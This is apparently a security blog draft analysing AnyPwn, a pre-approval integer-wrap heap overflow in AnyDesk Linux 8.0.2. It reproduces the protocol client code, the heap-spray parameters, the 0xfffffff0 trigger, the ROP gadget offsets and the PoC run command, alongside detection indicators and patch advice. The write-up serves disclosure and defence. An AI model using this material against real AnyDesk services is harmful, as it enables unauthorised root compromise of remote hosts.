
/pocs/anydesk; public GitHub mirror of the same README). Packet layouts, tables and protocol listings below are reproduced from those materials. The complete runnable PoC remains at the GitHub tree; this draft does not re-host the ROP builder.Executive Summary
AnyDesk is the remote-desktop program a lot of help desks leave running in the background. On Linux it often listens as a service, on TCP port 7070, and that service is frequently root. V12’s Rick de Jager showed that AnyDesk Linux 8.0.2 will take a length field from a session-protocol packet, add a 16-byte object header using 32-bit arithmetic, wrap the sum to a handful of bytes, and then copy attacker-controlled data using the original huge logical length. That is a pre-approval remote code execution: nobody has to click Accept on the desktop. The researchers named it AnyPwn. The vendor fixed it in 8.0.3 and, they write, appears to have pulled the 8.0.2 build after the PoC video landed.
The supplied proof-of-concept talks the proprietary session protocol over a direct TLS connection to TCP/7070, grooms the heap with graded mode-5 objects, overflows into an adjacent client object, sprays a ret-sled, and walks a build-specific ROP chain into system(). The same parser is reachable over AnyDesk relays; V12 validated that with a minimal Frida trigger and left the full relay exploit as an engineering choice, not a hard limit. This draft walks the packet, the wrap, the protocol reverse-engineering in anydesk_proto/, the heap strategy, the published offsets for SHA-256 62ee04ad…394f5a, and what defenders should hunt. It also separates AnyPwn from CVE-2025-27918, a different AnyDesk integer-overflow story on UDP Discovery.
uint32_t(declared_len + 0x10) for declared_len >= 0xfffffff0 yields 0..15, while the object keeps the large logical length and a data pointer at allocation_base + 0x10. One body byte is already out of bounds. ATT&CK T1210 / T1190; impact T1068 when the Linux service is root. Not CVE-2025-27918.
How to read this piece
- If you run help-desk software and do not reverse binaries: read the green boxes, the wrap diagram, the “patch to 8.0.3” checklist, and the distinction from CVE-2025-27918. The action is inventory AnyDesk Linux, confirm the build is not 8.0.2, and stop exposing TCP/7070.
- If you reverse proprietary C2-shaped protocols: the blue boxes plus the verbatim
frames.pyvarint and stream builders are the payload. The setup-hit table is a session-replay map, not a new protocol spec from us. - If you hunt RCE on remote-access tools: jump to the SHA-256, the port, the mode-5 varint
0xfffffff0, the ten extra TLS clients, and the detection notes. Heap layout is probabilistic; crashes ofanydesk --serviceafter odd TLS clients are in-scope telemetry.
What AnyDesk is doing on that port
AnyDesk sells unattended remote access. A typical Linux install runs anydesk --service. Direct connections, when allowed, land on TCP/7070 with TLS. The client presents a certificate; the PoC mints a one-day self-signed cert with CN “AnyDesk Client” and disables verification. After a greeting, the two sides replay a short setup dance. The server assigns a stream identifier. Later traffic on that stream is typed. Mode 5 is the interesting type: a varint-declared length and a body the service treats as an object.
Remote-access tools sit in a nasty place in a network diagram. They are supposed to let a trusted technician in. They also listen. Pre-approval means the listen path can be turned into code execution before a human has agreed that a session should exist. That is why a heap overflow in the session parser is not a crash bug with a yellow sticker. On Linux it is often a root shell with no Accept dialog.

ssl.create_default_context(), check_hostname = False, verify_mode = CERT_NONE, SNI AnyDesk Client. Greeting frames are parsed immediately. Type-1 payload is a 14-byte stub. Setup hits 21, 22, 23, 24, 25, 27, 29, 30 are sent; assignment is expected around hit 29 (SETUP_ASSIGNMENT_HIT). Direct-connect exposure is the lab path. Relays reuse the parser; they are the internet-shaped path.This is not CVE-2025-27918
AnyDesk has had other integer-overflow stories. CVE-2025-27918 is a critical heap overflow via UDP during Identity user-image processing in Discovery, affecting a different version matrix (Windows before 9.0.5, macOS before 9.0.1, Linux before 7.0.0, and so on). AnyPwn, as published by V12, is Linux 8.0.2, TCP session protocol, mode-5 stream packets, fixed in 8.0.3. Mixing the two CVEs will send your patch window to the wrong build. The AnyPwn README does not assign a CVE identifier. This draft does not invent one.
| Topic | CVE-2025-27918 | AnyPwn (this write-up) |
|---|---|---|
| Where it lives | UDP Discovery / identity image | TCP session protocol, mode-5 |
| Linux branch in public write-ups | before 7.0.0 in the CVE text | 8.0.2, fixed in 8.0.3 |
| User click required | No (UDP) | No (pre-approval session parser) |
| Transport in the public PoC | UDP packet | TLS to TCP/7070, relays validated separately |
| CVE on the V12 README | Not this bug | None assigned in the source |
Abstract, in the researchers’ terms
AnyPwn is a pre-approval remote code execution vulnerability in AnyDesk Linux 8.0.2. The session protocol’s mode-5 stream packet handler trusts a remote payload length before validating it. Adding the 16-byte object header to that length with 32-bit arithmetic can wrap to a tiny allocation while the object retains the original large logical length. AnyDesk then copies attacker-controlled packet bytes beyond the allocation.
The supplied PoC exploits the resulting heap corruption through the direct, local TCP/7070 transport and executes an arbitrary command. The same vulnerable session-protocol path is reachable over AnyDesk relay connections, which V12 validated with a minimal Frida trigger. To limit engineering time, the included minimal PoC demonstrates the full exploit only over direct TCP/7070 connections. The service normally runs as root on Linux, so successful exploitation yields root command execution before desktop-control approval.
Fixed in AnyDesk 8.0.3. The vendor appears to have deleted (?) the 8.0.2 build of anydesk upon the release of our poc video. Porting the exploit to 8.0.1 or obtaining a 8.0.2 build is left as an exercise to the reader.
V12, AnyPwn README
The exact build the offsets belong to
Heap exploits of this shape are build-specific. V12 published the environment the gadgets were taken from. Other builds need other offsets. If the victim object is not immediately after the undersized buffer, the service crashes instead of running the command. That crash is still a production incident.
| Field | Value |
|---|---|
| Product | AnyDesk Linux 8.0.2 |
| Binary SHA-256 | 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a |
| Service mode | anydesk --service |
| Target port | TCP/7070 |
| Platform | Linux x86_64 |
| Test VM OS | Linux Mint 22.3 (Zena), kernel 6.14.0-37-generic |
| Fixed in | AnyDesk 8.0.3 |
| Symbol in the PoC | Address (this build) |
|---|---|
target_vtable | 0x02B61DB0 |
stack_pivot (add rsp, 0x1890; pop rbx; ret) | 0x01398D35 |
pop_rdi_ret | 0x01CD984B |
ret | 0x01CD984C |
pop_rsi_ret | 0x01CD3709 |
write_rdi_rsi_ret | 0x01C7EAF0 |
system_plt | 0x0041B960 |
scratch_space | 0x02CB0AC0 |
anypwn.py for the SHA-256 above. Other binaries will not match. Source: original PoC materials.add rsp, 0x1890; pop rbx; ret against remaining 8.0.2 copies. Do not expect the same numbers on 8.0.1.The mode-5 packet
A mode-5 packet on an assigned stream has the layout V12 published. For a valid packet, mode5_declared_len must not exceed the bytes remaining in the frame. The vulnerable path instead calculates a backing allocation from the unvalidated 32-bit declared length.
```text
u16be frame_len
u16be assigned_stream_id
u8 stream_mode_prefix 0x00
varint mode5_declared_len
u8[] mode5_body
```

AnyPwn declares 0xfffffff0 bytes. Adding the 16-byte header in 32-bit arithmetic wraps to zero. Values from 0xfffffff0 through 0xffffffff therefore allocate only 0 through 15 bytes. The object data pointer remains allocation_base + 0x10, and its length remains the original large value, so copying even one body byte writes outside the allocation. The attacker does not need to send four gigabytes: the outer frame remains small, its varint causes the integer wrap, and its body supplies the overflow bytes.
declared_len + 0x10 = 0x1_0000_0000
(uint32_t)(declared_len + 0x10) = 0

MODE5_TRIGGER_DECLARED_LEN = 0xFFFF_FFF0. Encoding is their encode_varint. Prefix byte STREAM_MODE_PREFIX = b"\x00". Body of the trigger is a short C-padding plus overwritten dispatch fields on the adjacent object. The overflow body that plants a vtable and pivot is the last hop of a working exploit; this draft leaves that constructor in the public GitHub tree rather than re-hosting a drop-in RCE.How the protocol is spoken: frames and varints
The local tree ships a small Python package, anydesk_proto, that reconstructs the observed TCP/7070 framing. Frames are a 16-bit big-endian length plus a body. The body starts with a 16-bit stream id. Stream 0 carries setup objects. Assigned streams carry payloads. A type-9 server reply on stream 0 is how the client learns the assigned id (bytes 7:9 of that payload).
The package surface is the README of the reverse engineering. Everything the PoC sends goes through these helpers.
"""Reusable helpers for the observed AnyDesk TCP/7070 protocol."""
from .client import AnyDeskClient, ConnectResult
from .frames import (
AnyNetFrame,
AnyNetRecord,
build_carrier_payload,
build_frame,
build_mode5_payload,
build_stream_object,
build_stream_payload,
encode_varint,
iter_carrier_chunks,
iter_mode5_carrier_chunks,
parse_frames,
)
from .profile import build_profile_body, build_profile_object
from .setup import (
build_consent_update,
build_frontend_ready,
build_protocol_version_object,
build_setup_message,
build_setup_object,
build_stream_ack_object,
build_stream_request_object,
build_tag40_probe,
build_type3_setup,
)
__all__ = [
"AnyDeskClient",
"ConnectResult",
"AnyNetFrame",
"AnyNetRecord",
"build_carrier_payload",
"build_frame",
"build_mode5_payload",
"build_stream_object",
"build_stream_payload",
"encode_varint",
"iter_carrier_chunks",
"iter_mode5_carrier_chunks",
"parse_frames",
"build_profile_body",
"build_profile_object",
"build_consent_update",
"build_frontend_ready",
"build_protocol_version_object",
"build_setup_message",
"build_setup_object",
"build_stream_ack_object",
"build_stream_request_object",
"build_tag40_probe",
"build_type3_setup",
]
Length-prefixed frames
def parse_frame(blob: bytes) -> AnyNetFrame:
if len(blob) < 2:
raise ValueError("truncated frame length")
length = int.from_bytes(blob[:2], "big")
body = blob[2:]
if len(body) != length:
raise ValueError(f"truncated frame body: wanted={length} got={len(body)}")
record = None
if len(body) >= 2:
record = AnyNetRecord(int.from_bytes(body[:2], "big"), body[2:])
return AnyNetFrame(body=body, record=record)
def parse_frames(blob: bytes) -> list[AnyNetFrame]:
out: list[AnyNetFrame] = []
offset = 0
while offset < len(blob):
if offset + 2 > len(blob):
raise ValueError("truncated frame length")
length = int.from_bytes(blob[offset : offset + 2], "big")
end = offset + 2 + length
if end > len(blob):
raise ValueError(f"truncated frame body: wanted={length} got={len(blob) - offset - 2}")
out.append(parse_frame(blob[offset:end]))
offset = end
return out
def build_frame(body: bytes) -> bytes:
if len(body) > 0xFFFF:
raise ValueError(f"frame too large: {len(body)}")
return len(body).to_bytes(2, "big") + body
def build_stream_payload(stream_id: int, payload: bytes) -> bytes:
if not 0 <= stream_id <= 0xFFFF:
raise ValueError(f"stream_id out of range: {stream_id}")
return build_frame(stream_id.to_bytes(2, "big") + payload)
def build_stream_object(obj: bytes) -> bytes:
return build_stream_payload(0, obj)
The varint the wrap rides on
Declared lengths are unsigned LEB128-style varints: seven data bits per byte, high bit set means continue. That is why 0xfffffff0 is cheap on the wire. A four-gigabyte claim does not need a four-gigabyte packet.
def encode_varint(value: int) -> bytes:
if value < 0:
raise ValueError("varint value must be non-negative")
out = bytearray()
while True:
byte = value & 0x7F
value >>= 7
if value:
out.append(byte | 0x80)
else:
out.append(byte)
return bytes(out)
def build_cc1fc0_queue_payload(obj: bytes, selector: int = 0) -> bytes:
if not 0 <= selector <= 0xFF:
raise ValueError(f"selector out of range: {selector}")
return encode_varint(len(obj) + 1) + bytes([selector]) + obj
def build_carrier_payload(obj: bytes, selector: int = 0, channel: int = 3) -> bytes:
if not 0 <= channel <= 0xFF:
raise ValueError(f"channel out of range: {channel}")
queue_payload = build_cc1fc0_queue_payload(obj, selector)
return bytes([channel]) + encode_varint(len(queue_payload)) + queue_payload
def build_mode5_payload(payload: bytes) -> bytes:
return encode_varint(len(payload)) + payload
def iter_carrier_chunks(
obj: bytes,
selector: int = 0,
channel: int = 3,
max_queue_chunk: int = 0x1002,
) -> Iterable[bytes]:
if max_queue_chunk <= 0:
raise ValueError("max_queue_chunk must be positive")
queue_payload = build_cc1fc0_queue_payload(obj, selector)
for offset in range(0, len(queue_payload), max_queue_chunk):
chunk = queue_payload[offset : offset + max_queue_chunk]
yield bytes([channel]) + encode_varint(len(chunk)) + chunk
def iter_mode5_carrier_chunks(
obj: bytes,
selector: int = 0,
channel: int = 3,
max_queue_chunk: int = 0x1002,
) -> Iterable[bytes]:
for carrier in iter_carrier_chunks(
obj,
selector=selector,
channel=channel,
max_queue_chunk=max_queue_chunk,
):
yield build_mode5_payload(carrier)
build_cc1fc0_queue_payload (varint of len(obj)+1, selector byte, object) wrapped in a channel byte and another varint, then wrapped again by build_mode5_payload. Chunking at MAX_QUEUE_CHUNK = 0xFF00 in the exploit (0x1002 default in the helper) is how large sprays stay inside per-frame limits. Selector 0xF0 is the heap-spray object type; selector 0x00 is the profile.TLS on 7070, throwaway client certificates
The client is ordinary Python ssl around a TCP socket. It mints a one-day RSA-2048 cert with OpenSSL, loads it, and wraps the socket with verification off. That matches a service that wants a client cert present and does not care which one during this setup.
from __future__ import annotations
import pathlib
import subprocess
def make_client_cert(directory: str | pathlib.Path, common_name: str = "AnyDesk Client") -> tuple[str, str]:
directory = pathlib.Path(directory)
cert = directory / "client.crt"
key = directory / "client.key"
subprocess.run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-nodes",
"-subj",
f"/CN={common_name}",
"-keyout",
str(key),
"-out",
str(cert),
"-days",
"1",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
check=True,
)
return str(cert), str(key)
MINIMAL_TYPE1_PAYLOAD = b"\x01" + struct.pack(">H", 0) + struct.pack("<H", 1) + (b"\x00" * 9)
@dataclass
class ConnectResult:
tls_version: str
cipher: tuple[str, str, int] | None
greeting: list[AnyNetFrame] = field(default_factory=list)
class AnyDeskClient:
def __init__(
self,
host: str = "127.0.0.1",
port: int = 7070,
timeout: float = 5.0,
server_hostname: str = "AnyDesk Client",
) -> None:
self.host = host
self.port = port
self.timeout = timeout
self.server_hostname = server_hostname
self._tmpdir: tempfile.TemporaryDirectory[str] | None = None
self._sock: ssl.SSLSocket | None = None
self.connect_result: ConnectResult | None = None
def __enter__(self) -> AnyDeskClient:
self.connect()
return self
def __exit__(self, exc_type, exc, tb) -> None: # type: ignore[no-untyped-def]
self.close()
@property
def sock(self) -> ssl.SSLSocket:
if self._sock is None:
raise RuntimeError("client is not connected")
return self._sock
def connect(self) -> ConnectResult:
if self._sock is not None:
raise RuntimeError("client is already connected")
self._tmpdir = tempfile.TemporaryDirectory()
cert, key = make_client_cert(self._tmpdir.name)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
raw.settimeout(self.timeout)
self._sock = ctx.wrap_socket(raw, server_hostname=self.server_hostname)
self.sock.settimeout(self.timeout)
greeting = self.recv_frames(timeout=self.timeout)
self.connect_result = ConnectResult(self.sock.version() or "", self.sock.cipher(), greeting)
return self.connect_result
def send_raw(self, frame: bytes, delay: float = 0.0) -> None:
self.sock.sendall(frame)
if delay:
time.sleep(delay)
def send_type1(self, delay: float = 0.0) -> None:
self.send_raw(build_stream_payload(0, MINIMAL_TYPE1_PAYLOAD), delay=delay)
def send_object(self, obj: bytes, delay: float = 0.0) -> None:
self.send_raw(build_stream_object(obj), delay=delay)
def send_stream_payload(self, stream_id: int, payload: bytes, delay: float = 0.0) -> None:
self.send_raw(build_stream_payload(stream_id, payload), delay=delay)

AnyDesk Client, a freshly generated cert (notAfter = notBefore + 1 day is the PoC default), and a burst of tiny frames then a mode-5 varint decoding to >= 0xfffffff0. Ten additional TLS handshakes from the same source shortly after a large mode-5 spray is the victim-client stage.The setup dance
Before mode 5 is interesting, the client has to look like a real session. V12 replay a captured setup as numbered “hits”. Hit 29 is the stream request; that is where the server is expected to assign an id. Hit 30 is the ack. Earlier hits include a JSON consent_update, a Frontend-ready object, a one-byte 0x40 probe, and two type-3 setup blobs.
from __future__ import annotations
# Source/client AnyDesk ID carried in the setup header. Synthetic by default;
# the captured session used 181012429. Configurable per call below.
DEFAULT_SOURCE_ID = 1337
# Session timestamp carried in the message header. Zeroed by default; the
# captured session used 0x7339e399. Configurable per call below.
DEFAULT_TIMESTAMP = 0
# Fixed framing that precedes the 4-byte source id (meaning unconfirmed).
_SETUP_5D_HEADER = bytes.fromhex("5d00000654")
def build_setup_message(
*,
kind: int,
sequence: int,
flags: bytes,
name: str,
payload: bytes,
source_id: int = DEFAULT_SOURCE_ID,
timestamp: int = DEFAULT_TIMESTAMP,
) -> bytes:
if not 0 <= kind <= 0xFF:
raise ValueError(f"setup message kind out of range: {kind}")
if not 0 <= sequence <= 0xFFFF:
raise ValueError(f"setup message sequence out of range: {sequence}")
if not 0 <= source_id <= 0xFFFFFFFF:
raise ValueError(f"setup source id out of u32 range: {source_id}")
if not 0 <= timestamp <= 0xFFFFFFFF:
raise ValueError(f"setup timestamp out of u32 range: {timestamp}")
if len(flags) != 4:
raise ValueError("setup message flags must be exactly 4 bytes")
name_bytes = name.encode("ascii")
return b"".join(
[
_SETUP_5D_HEADER,
source_id.to_bytes(4, "big"),
bytes([kind]),
sequence.to_bytes(2, "big"),
b"\x00\x00\x00\x00",
timestamp.to_bytes(4, "big"),
flags,
len(name_bytes).to_bytes(2, "big"),
name_bytes,
len(payload).to_bytes(4, "big"),
payload,
b"\x00\x00\x00\x00",
]
)
def build_setup_object(
hit: int,
source_id: int = DEFAULT_SOURCE_ID,
timestamp: int = DEFAULT_TIMESTAMP,
) -> bytes:
builders = {
21: lambda: build_consent_update(source_id, timestamp),
22: lambda: build_frontend_ready(source_id, timestamp),
23: build_tag40_probe,
24: lambda: build_type3_setup(0x0A),
25: lambda: build_type3_setup(0x00),
27: build_protocol_version_object,
29: build_stream_request_object,
30: build_stream_ack_object,
}
try:
return builders[hit]()
except KeyError as exc:
raise ValueError(f"no setup builder for hit {hit}") from exc
| Hit | Builder | Role in the replay |
|---|---|---|
| 21 | build_consent_update | JSON consent blob, kind 0x45, name consent_update |
| 22 | build_frontend_ready | kind 0x55, name Frontend, payload {} |
| 23 | build_tag40_probe | single byte 0x40 |
| 24 | build_type3_setup(0x0A) | type-3 setup, mode 0x0A |
| 25 | build_type3_setup(0x00) | type-3 setup, mode 0x00 |
| 27 | build_protocol_version_object | seven-byte version object |
| 29 | build_stream_request_object | assignment expected here |
| 30 | build_stream_ack_object | ack after the assigned stream |
setup.py / SETUP_HITS in the PoC. Source: original PoC materials.Default source id is 1337. A comment in the file says a captured session used 181012429. Timestamp defaults to 0; a capture used 0x7339e399. Those fields are installation-specific and are not required to be real for the overflow itself. They exist so the parser stays on the happy path long enough to allocate mode-5 objects.
\x01/\x02 swapped across the pair. That is session-plumbing, not the bug. If you are writing a detector, do not signature 1337 as a magic AnyDesk ID; signature the hit sequence and the later wrap varint.The profile object that selects the vulnerable path
After setup, the PoC sends a normal profile object so the session enters the profile/session mode-5 path. The profile carries an address, a display string (the PoC uses the V12 X URL as a display address), a 100×100 PNG avatar, and a long list of free-license capability flags. The avatar below is the PNG embedded in profile.py, decoded without re-encoding.

anydesk_proto/profile.py (_AVATAR_PNG_B64). Source: original PoC materials.The object layout, minus the giant base64 blob, is: tag 0x00, a 4-byte 1, a 4-byte address, a length-prefixed display string, another 4-byte 1, two marker bytes, a length-prefixed PNG, a license header around a u64 token, then a counted list of ASCII key/value flags. build_profile_body is that object with the first tag byte stripped, because the mode-5 queue wrapper supplies its own selector.
def build_profile_object(...):
return b"".join([
b"\x00",
(1).to_bytes(4, "big"),
address.to_bytes(4, "big"),
len(display).to_bytes(4, "big"), display,
(1).to_bytes(4, "big"),
b"\x2d\x01",
len(image_png).to_bytes(4, "big"), image_png,
_build_license_header(license_token),
_build_license_section(license_flags),
])
Heap grooming, then ten extra clients
The overflow is only useful when a victim client object sits next to the wrapped allocation. V12 do not rely on a single lucky size. They send 100 persistent mode-5 objects at each size from 0x1 through 0x17f1 in 0x10 increments, selector 0xF0, with a SPRAY%04x: marker and an A-fill. That populates the allocator’s relevant size classes. Then they open ten additional client connections, so candidate victim objects land among the groomed allocations. This remains probabilistic.
HEAP_SPRAY_SELECTOR = 0xF0
HEAP_SPRAY_START = 0x01
HEAP_SPRAY_STOP = 0x1800
HEAP_SPRAY_STEP = 0x10
HEAP_SPRAY_COUNT_PER_SIZE = 100
HEAP_SPRAY_BATCH_BYTES = 0x40000
VICTIM_CLIENTS = 10
ROP_SENDS = 20
COMMAND = "id>/tmp/anypwn"
STAGE_WIDTH = 22
MODE5_TRIGGER_DECLARED_LEN = 0xFFFF_FFF0
def build_heap_spray_body(size: int) -> bytes:
marker = b"SPRAY%04x:" % size
if size <= len(marker):
return marker[:size]
return marker + (b"A" * (size - len(marker)))
The later ROP spray is a different heap job. Twenty identical 0xF000-byte objects contain a long ret-gadget sled and then the chain. Repeating the object and providing a wide sled gives the corrupted stack pivot many equivalent landing points instead of requiring an exact address inside a single copy.

system() to page.From overflow to command execution
The README lists seven steps. They are the whole exploit story, and they are already public.
- Complete service setup and obtain an assigned stream.
- Send a normal profile object to enter the profile/session mode-5 path.
- Groom the allocator with the size-graded mode-5 spray, then open the ten candidate victim clients.
- Send a packet declaring
mode5_declared_len = 0xfffffff0. Its body overflows the wrapped allocation and replaces dispatch-related fields in an adjacent victim, including a chosen vtable and stack-pivot gadget. - Spray the repeated ROP objects so the pivot can land in a ret sled and advance to the chain.
- Continue setup on each victim client. Processing the corrupted victim uses the overwritten control data and transfers execution through the pivot into a sprayed chain.
- The chain writes the requested command into fixed scratch memory, loads its address as the first argument, and calls the target build’s
system()PLT entry.
A pwndbg telescope comment in the trigger function shows what the authors were looking at on the adjacent object: a vtable pointer, a fiber name pointer that will be freed, and the slot they overwrite with the stack pivot. The ROP constructor writes the command string eight bytes at a time into scratch_space with a pop rdi / pop rsi / write gadget, then pop rdi ; scratch ; system@plt. The published chain is specific to the SHA-256 above. This draft does not paste that constructor.

add rsp, 0x1890; pop rbx; ret at 0x01398D35 on this build. A 0x1890 stack adjustment plus a wide ret sled is how they absorb uncertainty about exact RSP at hijack time. system@plt at 0x0041B960 is a full RELRO/partial-RELRO question for a patch-gap hunter: if a later 8.0.2-shaped binary still exports that PLT slot, the rest of the chain can be rebuilt. ASLR would require an extra leak this PoC does not show; the published addresses imply they ran against a binary whose load base was known or stable in the lab VM.Running the public PoC (lab only)
The README’s exploitation section is short and already public. It assumes a vulnerable 8.0.2 service with TCP/7070 reachable, Python 3, and the rich package. The default command writes id to /tmp/anypwn.
cd exploit
python3 anypwn.py --host 127.0.0.1 --command 'id>/tmp/anypwn'
cat /tmp/anypwn
For a directly reachable remote target, the README says to replace 127.0.0.1 with the target host. Heap layout is probabilistic. Other builds need other offsets. The complete Python, including the ROP builder, is in the GitHub tree linked at the top. This WordPress draft is the map, not a second copy of the burglar’s finished toolkit.
Relays, Frida, and the internet-shaped version
Direct TCP/7070 is the engineering shortcut. AnyDesk in the wild often connects through vendor relays so two hosts behind NAT can meet. V12 state that the same vulnerable session-protocol path is reachable over those relays, and that they validated it with a minimal Frida trigger. They did not ship the full relay RCE, citing engineering time. That sentence should be read as: the parser is on the relay path; the missing work is plumbing, not a second bug.
For a defender, that means “we do not allow direct connections” is not a complete mitigation. Direct-connect exposure makes the published PoC trivial. Relays keep the parser. Patching to 8.0.3 is the control that actually closes the handler.
Detection, hunting, and crash telemetry
On the host
- Inventory
anydesk --service. Record file SHA-256. The vulnerable lab build is62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a. Anything still hashing to that is a fire. - Package version: 8.0.2 is the named target; 8.0.3 is the named fix. 8.0.1 is explicitly unproven in the README.
- Process crashes of the AnyDesk service after inbound TLS to 7070, especially with a following core that shows a smashed vtable or a jump through 0x01398d35 on this build.
- Unexpected files such as
/tmp/anypwn, orsystem()of a command-line that the service never had a UI reason to run.
On the wire
- TLS to TCP/7070, SNI
AnyDesk Client, client cert minted for one day. - A mode-5 frame whose varint decodes to a length in
0xfffffff0..0xffffffffwhile the actual frame is small. - A preceding burst of thousands of similarly sized mode-5 objects (selector 0xF0 in this PoC) and ten extra handshakes from the same source.
ATT&CK / CWE
| Lens | ID | How it applies |
|---|---|---|
| Initial access / lateral | T1210 Exploitation of Remote Services | AnyDesk is a remote-access service. The parser is the service. |
| Exposed listener | T1190 Exploit Public-Facing Application | TCP/7070 or a relay that terminates into the same parser. |
| Impact when service is root | T1068 Exploitation for Privilege Escalation | The PoC’s id landing in /tmp/anypwn is the lab proof. |
| Integer wrap | CWE-190 | declared_len + 0x10 in 32-bit arithmetic. |
| Heap overflow | CWE-122 / CWE-787 | Copy sized from the unwrapped logical length. |
| Untrusted length | CWE-1284 | Length taken from the packet before remaining-frame validation. |
What this article does not give you
- A re-hosted copy of
build_rop_payload/ the trigger overflow body that plants the vtable. Those live in the public GitHub tree if you have an authorized lab. - A relay-path RCE. V12 validated reachability with Frida and did not ship the full plumbing.
- Offsets for 8.0.1 or for any build other than the published SHA-256.
- A CVE number. None is on the README.
- A claim that Windows AnyDesk 8.0.2 is in scope. The write-up is Linux 8.0.2.
Key Takeaways
- AnyPwn is pre-approval RCE in AnyDesk Linux 8.0.2: a mode-5 length is trusted, a 16-byte header add wraps in uint32, a tiny allocation is copied as if it were huge.
- The service often runs as root. Desktop Accept is not on the path.
- The public PoC is TLS to TCP/7070 with a throwaway client cert, a setup replay, a profile object, a size-graded heap spray, ten extra clients, a 0xfffffff0 declaration, a ret-sled, and
system()on a fixed scratch buffer. - Relays speak the same parser. Direct-connect-off is incomplete mitigation.
- Offsets are for SHA-256
62ee04ad…394f5aon Linux Mint 22.3. Other builds crash or need new gadgets. - Fixed in 8.0.3. V12 report the 8.0.2 build was pulled after their PoC video.
- Do not confuse this with CVE-2025-27918 (UDP Discovery identity images on a different version matrix).
Defensive Recommendations
- Patch AnyDesk Linux to 8.0.3 or newer. Confirm with a file hash, not a tray-icon version string if those can lag.
- Hunt remaining 8.0.2 binaries by SHA-256
62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5ain software inventory and on disk. - Do not treat “direct connections disabled” as the fix. The parser is on the relay path too. Patching is the fix. Network policy is defense in depth.
- Restrict TCP/7070 to admin jump hosts where direct connect is still required. Log TLS SNI and client-cert freshness.
- Alert on AnyDesk service crashes after inbound 7070, and on
system()-shaped child processes of the service. - If you ship a length-prefixed protocol, validate remaining-frame size before any allocation derived from a declared length, and do the add in a type that cannot wrap or with an overflow check.
declared + header < declaredis the one-line test this bug fails. - Keep AnyDesk out of unattended root service mode unless the product actually needs it. A user-mode helper with a smaller listen surface would have turned this into a user-compromise instead of a box-compromise.
- Lab only for the GitHub PoC. Authorized 8.0.2 VMs, never a production listener, never a replay against a customer endpoint.
Conclusion
AnyPwn is a textbook of two old lessons glued together. First, a remote-access service is a public parser that happens to draw a desktop. Second, a length field that is added in 32-bit arithmetic before it is checked against the packet is a heap overflow with extra steps. V12’s contribution is the protocol work: they spoke enough of AnyDesk’s private language to stand in the mode-5 path, groom the allocator, and turn a wrapped malloc into system() as root, before anyone clicked Accept. 8.0.3 is the patch. The rest of this page is so that 8.0.2 cannot hide behind “we do not allow direct connections” or behind a different CVE number from 2025.
Original text: “AnyPwn: AnyDesk Pre-auth Heap Buffer Overflow RCE” by Rick de Jager at V12.


